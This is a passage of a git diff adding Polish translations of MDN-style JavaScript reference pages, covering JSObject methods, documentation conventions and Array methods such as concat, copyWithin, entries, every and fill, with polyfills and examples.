+<p>Metoda. Usuwa własność obiektu w JavaScript.</p>
+
+<h5 id="Deklaracja_7" name="Deklaracja_7">Deklaracja</h5>
+
+<pre>public void removeMember(String name)
+</pre>
+
+<h4 id="setMember" name="setMember">setMember</h4>
+
+<p>Metoda. Ustala wartość własności obiektu JavaScript. Równoważna do "<code>this.name = value</code>" w JavaScript.</p>
+
+<h5 id="Deklaracja_8" name="Deklaracja_8">Deklaracja</h5>
+
+<pre>public void setMember(String name,
+ Object value)
+</pre>
+
+<h4 id="setSlot" name="setSlot">setSlot</h4>
+
+<p>Metoda. Ustala wartość elementu tablicy obiektu JavaScript. Równoważna "<code>this{{ mediawiki.external('index') }} = value</code>" w JavaScript.</p>
+
+<h5 id="Deklaracja_9" name="Deklaracja_9">Deklaracja</h5>
+
+<pre>public void setSlot(int index,
+ Object value)
+</pre>
+
+<h4 id="toString" name="toString">toString</h4>
+
+<p>Metoda. Konwertuje <code>JSObject</code> na <code>String</code>.</p>
+
+<p>Przesłania: <code>toString</code> w klasie <code>java.lang.Object</code></p>
+
+<h5 id="Deklaracja_10" name="Deklaracja_10">Deklaracja</h5>
+
+<pre>public String toString()
+</pre>
diff --git a/files/pl/web/javascript/referencje/o_tym_dokumencie/index.html b/files/pl/web/javascript/referencje/o_tym_dokumencie/index.html
new file mode 100644
index 0000000000..a16cf69e3d
--- /dev/null
+++ b/files/pl/web/javascript/referencje/o_tym_dokumencie/index.html
@@ -0,0 +1,58 @@
+---
+title: O dokumentacji referencyjnej
+slug: Web/JavaScript/Referencje/O_tym_dokumencie
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - Informator
+ - JavaScript
+ - Referencje
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/About
+---
+<p>{{JsSidebar}}</p>
+
+<p>Dokumentacja referencyjna JavaScript służy jako repozytorium faktów w zakresie języka JavaScript. Tutaj opisany jest szczegółowo cały język. Podczas pisania kodu JavaScript, będziesz często zaglądać na te strony, stąd nazwa tej części dokumentacji (dokumentacja referencyjna). Jeśli uczysz się dopiero JavaScript lub potrzebujesz wyjaśnień na temat jakichś możliwości lub funkcjonalności, sprawdz nasz <a href="/pl/docs/Web/JavaScript/Guide">podręcznik JavaScript</a>.</p>
+
+<p>Język JavaScript jest przeznaczony do użycia w szerokim środowisku, zarówno w przeglądarce internetowej, aplikacjach na urządzenia mobilne jak i skryptach działających po stronie serwera. Przeważająca część informacji, zawarta w naszym dokumentacji referencyjnej, ma charakters agnostyczny i nie dotyczy środowiska przeglądarki.</p>
+
+<h2 id="Gdzie_znaleźć_informacje_o_JavaScript">Gdzie znaleźć informacje o JavaScript</h2>
+
+<p>Nasza dokumentacja rdzennych funkcjonalności JavaScript (w przeważającej części czysty <a href="/pl/docs/Web/JavaScript/Zasoby_języka_JavaScript">ECMAScript</a>) obejmuje</p>
+
+<ul>
+ <li><a href="/pl/docs/Web/JavaScript/Guide">Podręcznik JavaScript</a></li>
+ <li><a href="/pl/docs/Web/JavaScript/Referencje">Dokumentację referencyjną JavaScript</a></li>
+</ul>
+
+<p>Jeśli jesteś początkującym w JavaScript, rozpocznij od lektury <a href="/pl/docs/Web/JavaScript/Guide">podręcznika</a>. Gdy już będziesz zrozumiesz podstawy, możesz zająć się <a href="/pl/docs/Web/JavaScript/Referencje">referencjami</a>, aby uzyskać wiedzę na temat poszczególnych obiektów i konstrukcji językowych.</p>
+
+<h2 id="Struktura_dokumentacji_referencyjnej">Struktura dokumentacji referencyjnej</h2>
+
+<p>W dokumentacji referencyjnej znajdują się następujące rozdziały:</p>
+
+<dl>
+ <dt><a href="/pl/docs/Web/JavaScript/Referencje/Obiekty">Obiekty</a></dt>
+ <dd>W tym rozdziale opisano wszystkie standardowe obiekty wbudowane JavaScript, w tym ich metody i właściwości.</dd>
+ <dt><a href="/pl/docs/Web/JavaScript/Referencje/Polecenia">Polecenia i deklaracje</a></dt>
+ <dd>JavaScript applications consist of statements with an appropriate syntax. A single statement may span multiple lines. Multiple statements may occur on a single line if each statement is separated by a semicolon. This isn't a keyword, but a group of keywords.</dd>
+ <dt><a href="/pl/docs/Web/JavaScript/Referencje/Operatory">Operatory i wyrażenia</a></dt>
+ <dd>This chapter documents all the JavaScript language operators, expressions and keywords.</dd>
+ <dt><a href="/pl/docs/Web/JavaScript/Reference/Functions">Funkcje</a></dt>
+ <dd>Chapter about JavaScript functions.</dd>
+ <dt><a href="/pl/docs/Web/JavaScript/Reference/Classes">Klasy</a></dt>
+ <dd>Chapter about JavaScript classes introduced in ECMAScript 2015.</dd>
+ <dt><a href="/pl/docs/Web/JavaScript/Reference/Errors">Błędy</a></dt>
+ <dd>Chapter about specific errors, exceptions and warnings thrown by JavaScript.</dd>
+ <dt><a href="/pl/docs/Web/JavaScript/New_in_JavaScript">Nowości w JavaScript</a></dt>
+ <dd>Chapter about JavaScript version history.</dd>
+</dl>
+
+<h3 id="Więcej_odnośnych_stron">Więcej odnośnych stron</h3>
+
+<ul>
+ <li><a href="/pl/docs/Web/JavaScript/Referencje/Przestarzałe_własności_i_metody">Przestarzałe własności i metody</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Gramatyka leksykalna</a></li>
+ <li><a href="/pl/docs/Web/JavaScript/typy_oraz_struktury_danych">Typy oraz struktury danych w JavaScript</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/o_tym_dokumencie/konwencje_formatowania_tekstu/index.html b/files/pl/web/javascript/referencje/o_tym_dokumencie/konwencje_formatowania_tekstu/index.html
new file mode 100644
index 0000000000..3dbff8627a
--- /dev/null
+++ b/files/pl/web/javascript/referencje/o_tym_dokumencie/konwencje_formatowania_tekstu/index.html
@@ -0,0 +1,31 @@
+---
+title: Konwencje formatowania tekstu
+slug: Web/JavaScript/Referencje/O_tym_dokumencie/Konwencje_formatowania_tekstu
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<p>Aplikacje w języku JavaScript działają na różnych systemach operacyjnych; informacje zawarte w tym dokumencie dotyczą wszystkich wersji. Nazwy plików i katalogów podawane są w stylu Windows (tzn. do rozdzielania katalogów stosowane są wsteczne ukośniki). Dla wersji Unix ścieżki są takie same, należy tylko zamienić ukośniki wsteczne na ukośniki zwykłe.</p>
+<p>W dokumencie tym uniwersalne lokalizatory zasobów (adresy URL) podawane są w postaci:</p>
+<p><code><span class="nowiki">http://</span><em>serwer</em>.<em>domena</em>/<em>ścieżka</em>/<em>plik.html</em> </code></p>
+<p>W tych adresach URL:</p>
+<ul>
+ <li><em>serwer</em> oznacza nazwę serwera, na którym uruchamiana jest Twoja aplikacja, np. <code>research1</code> albo <code>www</code></li>
+ <li><em>domena</em> oznacza Twoją domenę internetową, taką jak <code>mozilla.org</code> albo <code>po.opole.pl</code></li>
+ <li><em>ścieżka</em> oznacza strukturę katalogów na serwerze</li>
+ <li><em>plik.html</em> oznacza nazwę danego pliku</li>
+</ul>
+<p>Ogólnie rzecz biorąc, elementy pochylone w adresach URL są placeholderami, a elementy w normalnej czcionce o stałej szerokości - literałami.</p>
+<p>W dokumencie tym stosowane są następujące konwencje dotyczące czcionek:</p>
+<ul>
+ <li><code>czcionka o stałej szerokości</code> używana jest w listingach kodu źródłowego i przykładach, opisach elementów API i języka (np. nazwy metod i własności), nazw plików, ścieżek dostępu, nazw katalogów, znaczników HTML oraz każdego innego tekstu, który ma być wpisany z klawiatury (pochylona czcionka o stałej szerokości używana jest dla placeholderów w kodzie źródłowym).</li>
+</ul>
+<ul>
+ <li><em>czcionka pochylona</em> używana jest do tytułów książek, emfazy, nazw zmiennych i ścieżek do plików oraz wyrażeń użytych w sensie dosłownym.</li>
+</ul>
+<ul>
+ <li><strong>czcionka pogrubiona</strong> używana dla terminów słownikowych.</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/concat/index.html b/files/pl/web/javascript/referencje/obiekty/array/concat/index.html
new file mode 100644
index 0000000000..014219e1d9
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/concat/index.html
@@ -0,0 +1,71 @@
+---
+title: Array.prototype.concat()
+slug: Web/JavaScript/Referencje/Obiekty/Array/concat
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/concat
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca nową tablicę złożoną z tablicy, na której wywołano tę metodę, połączonej z innymi podanymi tablicami lub wartościami.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>var <var>new_array</var> = <var>old_array</var>.concat(wartość1[, wartość2[, ...[, wartośćN]]])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>wartość
+ <i>N</i>
+ </code> </dt>
+ <dd>Tablice lub wartości do dołączenia do tablicy, na której wywołana została metoda <code>concat</code>.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>concat</code> nie zmienia oryginalnej tablicy, lecz zwraca jej kopię "o jednym poziomie głębokości" zawierającą te same elementy wspólne co pierwotna tablica. Elementy oryginalnej tablicy są kopiowane do nowej tablicy następująco:</p>
+
+<ul>
+ <li>referencje do obiektów (a nie faktyczne obiekty): <code>concat</code> kopiuje referencje do obiektów do nowej tablicy. Zarówno pierwotna, jak i nowa tablica odnoszą się więc do tych samych obiektów. Oznacza to, że jeżeli wskazany obiekt jest modyfikowany, zmiany są widoczne w obydwu tablicach (nowej i starej).</li>
+</ul>
+
+<ul>
+ <li>Łańcuchy znaków i liczby (ale nie obiekty {{jsxref("String")}} i {{jsxref("Number")}} ): <code>concat</code> kopiuje wartości łańcuchów znaków i liczb do nowej tablicy.</li>
+</ul>
+
+<p>Operacje wykonywane na nowej tablicy nie wpłyną w żaden sposób na oryginalną tablicę i na odwrót.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Po.C5.82.C4.85czenie_dw.C3.B3ch_tablic" name="Przyk.C5.82ad:_Po.C5.82.C4.85czenie_dw.C3.B3ch_tablic">Przykład: Połączenie dwóch tablic</h3>
+
+<p>Następujący kod łączy dwie tablice:</p>
+
+<pre class="brush: js">alpha = new Array("a", "b", "c");
+numeric = new Array(1, 2, 3);
+alphaNumeric = alpha.concat(numeric); // tworzy tablicę ["a", "b", "c", 1, 2, 3]
+</pre>
+
+<h3 id="Przyk.C5.82ad:_Po.C5.82.C4.85czenie_trzech_tablic" name="Przyk.C5.82ad:_Po.C5.82.C4.85czenie_trzech_tablic">Przykład: Połączenie trzech tablic</h3>
+
+<p>Następujący kod łączy trzy tablice:</p>
+
+<pre class="brush: js">num1 = [1, 2, 3];
+num2 = [4, 5, 6];
+num3 = [7, 8, 9];
+nums = num1.concat(num2,num3) // tworzy tablicę [1, 2, 3, 4, 5, 6, 7, 8, 9]
+</pre>
+
+<h3 id="Przyk.C5.82ad:_Po.C5.82.C4.85czenie_warto.C5.9Bci_z_tablic.C4.85" name="Przyk.C5.82ad:_Po.C5.82.C4.85czenie_warto.C5.9Bci_z_tablic.C4.85">Przykład: Połączenie wartości z tablicą</h3>
+
+<p>Następujący kod łączy trzy wartości z tablicą:</p>
+
+<pre class="brush: js">alpha = ['a', 'b', 'c'];
+alphaNumeric = alpha.concat(1, 2, 3); // tworzy tablicę ["a", "b", "c", 1, 2, 3]
+</pre>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/copywithin/index.html b/files/pl/web/javascript/referencje/obiekty/array/copywithin/index.html
new file mode 100644
index 0000000000..1a1917eabd
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/copywithin/index.html
@@ -0,0 +1,181 @@
+---
+title: Array.prototype.copyWithin()
+slug: Web/JavaScript/Referencje/Obiekty/Array/copyWithin
+tags:
+ - Array
+ - ECMAScript 2015
+ - JavaScript
+ - Metodă
+ - Peototyp
+ - Prototype
+ - Reference
+ - Referencja
+ - Tablica
+ - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/copyWithin
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>copyWithin()</strong></code> tworzy kopie płytkie części tablicy w innej części tej samej tablicy i zwraca tę tablicę bez modyfikowania jej długości.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-copywithin.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox notranslate"><var>arr</var>.copyWithin(<var>cel[, start[, koniec]]</var>)
+</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>cel</code></dt>
+ <dd>Indeks (liczony od zera), do którego ma zostać skopiowana sekwencja. Jeśli wartość <code>target</code> będzie ujemna, pozycja będzie liczona od końca tablicy.</dd>
+ <dd>Jeśli <code>cel</code> jest większy lub równy <code>arr.length</code>, nic nie zostanie skopiowane. Jeśli wartość <code>cel</code> będzie większa niż <code>start</code>, kopiowana sekwencja zostanie przycięta tak, aby pasować do <code>arr.length</code>.</dd>
+ <dt><code>start</code> {{optional_inline}}</dt>
+ <dd>Indeks (liczony od zera), określający pozycję początkową sekwencji, która ma zostać skopiowana. Jeśli wartość ta będzie ujemna, <code>start</code> będzie liczony od końca tablicy.</dd>
+ <dd>Jeśli wartość <code>start</code> nie jest podana, <code>copyWithin</code> skopiuje sekwencję zaczynając od indeksu <code>0</code>. </dd>
+ <dt><code>koniec</code> {{optional_inline}}</dt>
+ <dd>Indeks (liczony od zera), określający pozycję końcową sekwencji, która ma zostać skopiowana, z wyłączeniem wartości pod indeksem <code>koniec</code>. Jeśli wartość ta będzie ujemna, <code>koniec</code> będzie liczony od końca tablicy.</dd>
+ <dd>Jeśli wartość <code>koniec</code> nie jest podana, <code>copyWithin</code> skopiuje sekwencję do ostatniego indeksu (domyślnie do <code>arr.length</code>).</dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Zmodyfikowana tablica.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Metoda <code>copyWithin</code> działa jak <code>memmove</code> w C/C++ i jest wysokowydajną metodą przesuwania wartości w obiektach {{jsxref("Array")}}. Dotyczy to szczególnie metody o tej samej nazwie {{jsxref("TypedArray/copyWithin", "TypedArray")}}. Sekwencja jest kopiowana i wklejana w jednej operacji, a wklejona sekwencja będzie zawierać skopiowane wartości nawet wtedy, gdy zakres żródłowy (kopiowania) i docelowy (wklejania) nakładają się na siebie.</p>
+
+<p>Funkcja <code>copyWithin</code> jest celowo <em>ogólna</em>, nie wymaga, by jej wartość <code>this</code> była obiektem typu {{jsxref("Array")}}.</p>
+
+<p>Metoda <code>copyWithin</code> jest modyfikowalna. Nie zmienia długości <code>this</code>, ale zmienia zawartość <code>this</code> i tworzy nowe własności, jeśli jest to konieczne.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js notranslate">if (!Array.prototype.copyWithin) {
+  Object.defineProperty(Array.prototype, 'copyWithin', {
+    value: function(target, start/*, end*/) {
+    // Kroki 1-2.
+    if (this == null) {
+      throw new TypeError('this is null or not defined');
+    }
+
+    var O = Object(this);
+
+    // Kroki 3-5.
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // Kroki 6-8.
+    var relativeTarget = target &gt;&gt; 0;
+
+    var to = relativeTarget &lt; 0 ?
+      Math.max(len + relativeTarget, 0) :
+      Math.min(relativeTarget, len);
+
+    // Kroki 9-11.
+    var relativeStart = start &gt;&gt; 0;
+
+    var from = relativeStart &lt; 0 ?
+      Math.max(len + relativeStart, 0) :
+      Math.min(relativeStart, len);
+
+    // Kroki 12-14.
+    var end = arguments[2];
+    var relativeEnd = end === undefined ? len : end &gt;&gt; 0;
+
+    var final = relativeEnd &lt; 0 ?
+      Math.max(len + relativeEnd, 0) :
+      Math.min(relativeEnd, len);
+
+    // Krok 15.
+    var count = Math.min(final - from, len - to);
+
+    // Kroki 16-17.
+    var direction = 1;
+
+    if (from &lt; to &amp;&amp; to &lt; (from + count)) {
+      direction = -1;
+      from += count - 1;
+      to += count - 1;
+    }
+
+    // Krok 18.
+    while (count &gt; 0) {
+      if (from in O) {
+        O[to] = O[from];
+      } else {
+        delete O[to];
+      }
+
+      from += direction;
+      to += direction;
+      count--;
+    }
+
+    // Krok 19.
+    return O;
+  },
+  configurable: true,
+  writable: true
+  });
+}</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_copyWithin">Użycie copyWithin</h3>
+
+<pre class="brush: js notranslate">[1, 2, 3, 4, 5].copyWithin(-2)
+// [1, 2, 3, 1, 2]
+
+[1, 2, 3, 4, 5].copyWithin(0, 3)
+// [4, 5, 3, 4, 5]
+
+[1, 2, 3, 4, 5].copyWithin(0, 3, 4)
+// [4, 2, 3, 4, 5]
+
+[1, 2, 3, 4, 5].copyWithin(-2, -3, -1)
+// [1, 2, 3, 3, 4]
+
+[].copyWithin.call({długość: 5, 3: 1}, 0, 3)
+// {0: 1, 3: 1, długość: 5}
+
+// ES2015 Typowane tablice są podklasami zwykłej tablicy (Array)
+var i32a = new Int32Array([1, 2, 3, 4, 5])
+
+i32a.copyWithin(0, 2)
+// Int32Array [3, 4, 5, 4, 5]
+
+// Na platformach niewspierających jeszcze ES 2015:
+[].copyWithin.call(new Int32Array([1, 2, 3, 4, 5]), 0, 3, 4);
+// Int32Array [4, 2, 3, 4, 5]
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.copyWithin")}}</p>
+</div>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/entries/index.html b/files/pl/web/javascript/referencje/obiekty/array/entries/index.html
new file mode 100644
index 0000000000..6ff83958f4
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/entries/index.html
@@ -0,0 +1,77 @@
+---
+title: Array.prototype.entries()
+slug: Web/JavaScript/Referencje/Obiekty/Array/entries
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/entries
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>entries()</strong></code> zwraca obiekt <code><strong>Iteratora</strong></code> który zawiera parę klucz/wartość dla każdej pozycji w tablicy.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-entries.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><var>a</var>.entries()</pre>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Nowy iterator {{jsxref("Tablicy")}}.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_w_pętli_for…of">Użycie w pętli <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for…of</a></h3>
+
+<pre class="brush:js">var a = ['a', 'b', 'c'];
+var iterator = a.entries();
+
+for (let e of iterator) {
+ console.log(e);
+}
+// [0, 'a']
+// [1, 'b']
+// [2, 'c']
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-array.prototype.entries', 'Array.prototype.entries')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.entries', 'Array.prototype.entries')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_w_przeglądarkach">Kompatybilność w przeglądarkach</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.entries")}}</p>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols">Iteration protocols</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/every/index.html b/files/pl/web/javascript/referencje/obiekty/array/every/index.html
new file mode 100644
index 0000000000..4b6cb612a2
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/every/index.html
@@ -0,0 +1,89 @@
+---
+title: Array.prototype.every()
+slug: Web/JavaScript/Referencje/Obiekty/Array/every
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/every
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Metoda <span style="line-height: 23.3333339691162px;"> </span><code style="font-style: normal; line-height: 23.3333339691162px;"><strong>every() </strong></code>sprawdza, czy wszystkie elementy w tablicy przechodzą test zrealizowany w postaci dostarczonej funkcji.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.every(<var>callback</var>[, <var>thisArg</var>])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Funkcja sprawdzająca dla każdego elementu. Zawiera trzy argumenty.<br>
+ <strong style="font-family: consolas,monaco,andale mono,monospace; font-weight: bold; line-height: 23.3333339691162px;">currentValue<br>
+   </strong>Bieżący element przetwarzany w tablicy</dd>
+ <dt>       <strong style="font-family: consolas,monaco,andale mono,monospace; font-weight: bold; line-height: 23.3333339691162px;">index</strong></dt>
+ <dd>
+ <p>     Indeks bieżacego elementu przetwarzanego w tablicy</p>
+
+ <p> <strong>array</strong><br>
+     Tablica na której została wywołana funkcja</p>
+ </dd>
+ <dt><code>thisObject</code></dt>
+ <dd>Opcjonalnie. Obiekt, na który będzie wskazywał <code>this</code>, gdy wykonana zostanie funkcja zwrotna <code>callback</code>. </dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>every</code> wykonuje dostarczoną funkcję <code>callback</code> raz dla każdego elementu tablicy do momentu, kiedy znajdzie taki element, dla którego funkcja <code>callback</code> zwróci wartość <code>false</code>. Jeżeli taki element zostanie znaleziony, test zostanie przerwany, a metoda <code>every</code> zwróci wartość <code>false</code>. W przeciwnym wypadku (<code>callback</code> zwraca wartość <code>true</code> dla wszystkich elementów) <code>every</code> zwróci <code>true</code>. Funkcja <code>callback</code> wywoływana jest jedynie dla indeksów tablicy, którym została przypisana wartość; nie jest wywoływana dla indeksów, które zostały usunięte i tych, którym nigdy nie została przypisana żadna wartość.</p>
+
+<p>Funkcja <code>callback</code> jest wywoływana z trzema argumentami: wartością elementu, jego indeksem i obiektem tablicy, w którym się ten element zawiera.</p>
+
+<p>Jeśli parametr <code>thisObject</code> został dostarczony do metody <code>every</code>, będzie on wskazywany przez <code>this</code> dla każdego wywołania funkcji <code>callback</code>. W przypadku, gdy nie został on przekazany lub jego wartość jest równa <code>null</code>, <code>this</code> będzie się odnosić do obiektu globalnego połączonego z funkcją <code>callback</code>.</p>
+
+<p>Metoda <code>every</code> nie modyfikuje tablicy, na której jest wywoływana.</p>
+
+<p>Zakres elementów przetwarzanych przez <code>every</code> jest ustawiany przed pierwszym wywołaniem funkcji <code>callback</code>. Elementy dołączone do tablicy po momencie wywołania <code>every</code> są testowane przez <code>callback</code>. Jeśli istniejące elementy tablicy są zmieniane lub usuwane, to wartość przesyłana do funkcji <code>callback</code> odpowiada wartości w momencie, w którym <code>every</code> się o nie zwróci; metoda <code>every</code> nie upomina się o elementy usunięte.</p>
+
+<h3 id="Kompatybilno.C5.9B.C4.87" name="Kompatybilno.C5.9B.C4.87">Kompatybilność</h3>
+
+<p><code>every</code> jest rozszerzeniem JavaScript dla standardu ECMA-262, więc może nie być obecny w innych implementacjach tego standardu. Można to obejść, dopisując poniższy kod na początku skryptu, zezwalający na użycie <code>every</code> w implementacji ECMA-262, które nie wspierają tego natywnie.</p>
+
+<pre class="brush: js">if (!Array.prototype.every)
+{
+ Array.prototype.every = function(fun /*, thisp*/)
+ {
+ var len = this.length;
+ if (typeof fun != "function")
+ throw new TypeError();
+
+ var thisp = arguments[1];
+ for (var i = 0; i &lt; len; i++)
+ {
+ if (i in this &amp;&amp;
+  !fun.call(thisp, this[i], i, this))
+ return false;
+ }
+
+ return true;
+ };
+}
+</pre>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Sprawdzanie_rozmiaru_wszystkich_element.C3.B3w_tablicy" name="Przyk.C5.82ad:_Sprawdzanie_rozmiaru_wszystkich_element.C3.B3w_tablicy">Przykład: Sprawdzanie rozmiaru wszystkich elementów tablicy</h3>
+
+<p>Następujący przykład sprawdza, czy wszystkie elementy w tablicy są większe niż 10.</p>
+
+<pre class="brush: js">function isBigEnough(element, index, array) {
+ return (element &gt;= 10);
+}
+passed = [12, 5, 8, 130, 44].every(isBigEnough);
+// fałsz
+passed = [12, 54, 18, 130, 44].every(isBigEnough);
+// prawda
+</pre>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/fill/index.html b/files/pl/web/javascript/referencje/obiekty/array/fill/index.html
new file mode 100644
index 0000000000..1ab2ef4719
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/fill/index.html
@@ -0,0 +1,185 @@
+---
+title: Array.prototype.fill()
+slug: Web/JavaScript/Referencje/Obiekty/Array/fill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/fill
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>fill() </strong>uzupełnia wszystkie elementy tablicy, zaczynając od indeksu początkowego</code>  <strong>(start)</strong> aż po indeks końcowy <strong>(end)</strong> statyczną wartością <strong>(value)</strong>.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-fill.html")}}<br>
+ Źródło tego przykładu jest przechowywane w repozytorium na GitHub. Jeśli chciałbyś dodać coś od siebie do projektu interaktywnych przykładów, sklonuj <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a>  i wyślij pull request.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.fill(<var>value</var>[, <var>start<var> = 0[, <var>end</var> = this.length]])</var></var></code></pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Wartość, którą wypełniana będzie tablica.</dd>
+ <dt><code>start</code></dt>
+ <dd>Opcjonalnie. Indeks początkowy.</dd>
+ <dt><code>end</code></dt>
+ <dd>Opcjonalnie. Indeks końcowy.</dd>
+ <dt>
+ <h3 id="Wartość_zwracana">Wartość zwracana</h3>
+
+ <p>Zmodyfikowana tablica.</p>
+ </dt>
+</dl>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Przedział elementów do wypełnienia to: [<code>start</code>, <code>end</code>).</p>
+
+<p><code>Metoda</code><strong><code> fill</code></strong> przyjmuje do trzech parametrów <code>value</code>, <code>start</code> i <code>end</code>. Argumenty <code>start i</code> <code>end</code> są opcjonalne i przyjmują, odpowiednio,  <code>0</code> i długość (<code>length)</code> obiektu <code>this</code>.</p>
+
+<p>Jeżeli parametr <code>start</code> jest ujemny, jest to traktowane jako <code>length+start</code> gdzie <code>length</code> jest liczbą elementów tablicy. Jeżeli parametr <code>end</code> jest negatywny, jest to traktowane jako <code>length+end</code>. </p>
+
+<p>Funkcja<strong> fill</strong> została świdomie zaprojektowana jako generyczna, przez co nie wymaga, by wartość <font face="Consolas, Liberation Mono, Courier, monospace">this</font> była obiektem typu Array.</p>
+
+<p>Metoda<strong> fill </strong>jest zmienna (ang. mutalbe), metoda ta nie zwraca kopii this, a oryginalny obiekt po modyfikacjach.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<pre class="brush: js">[1, 2, 3].fill(4); // [4, 4, 4]
+[1, 2, 3].fill(4, 1); // [1, 4, 4]
+[1, 2, 3].fill(4, 1, 2); // [1, 4, 3]
+[1, 2, 3].fill(4, 1, 1); // [1, 2, 3]
+[1, 2, 3].fill(4, -3, -2); // [4, 2, 3]
+[1, 2, 3].fill(4, NaN, NaN); // [1, 2, 3]
+[].fill.call({ length: 3 }, 4); // {0: 4, 1: 4, 2: 4, length: 3}
+//Obiekty przez referencję
+var arr = Array(3).fill({}) // [{}, {}, {}];
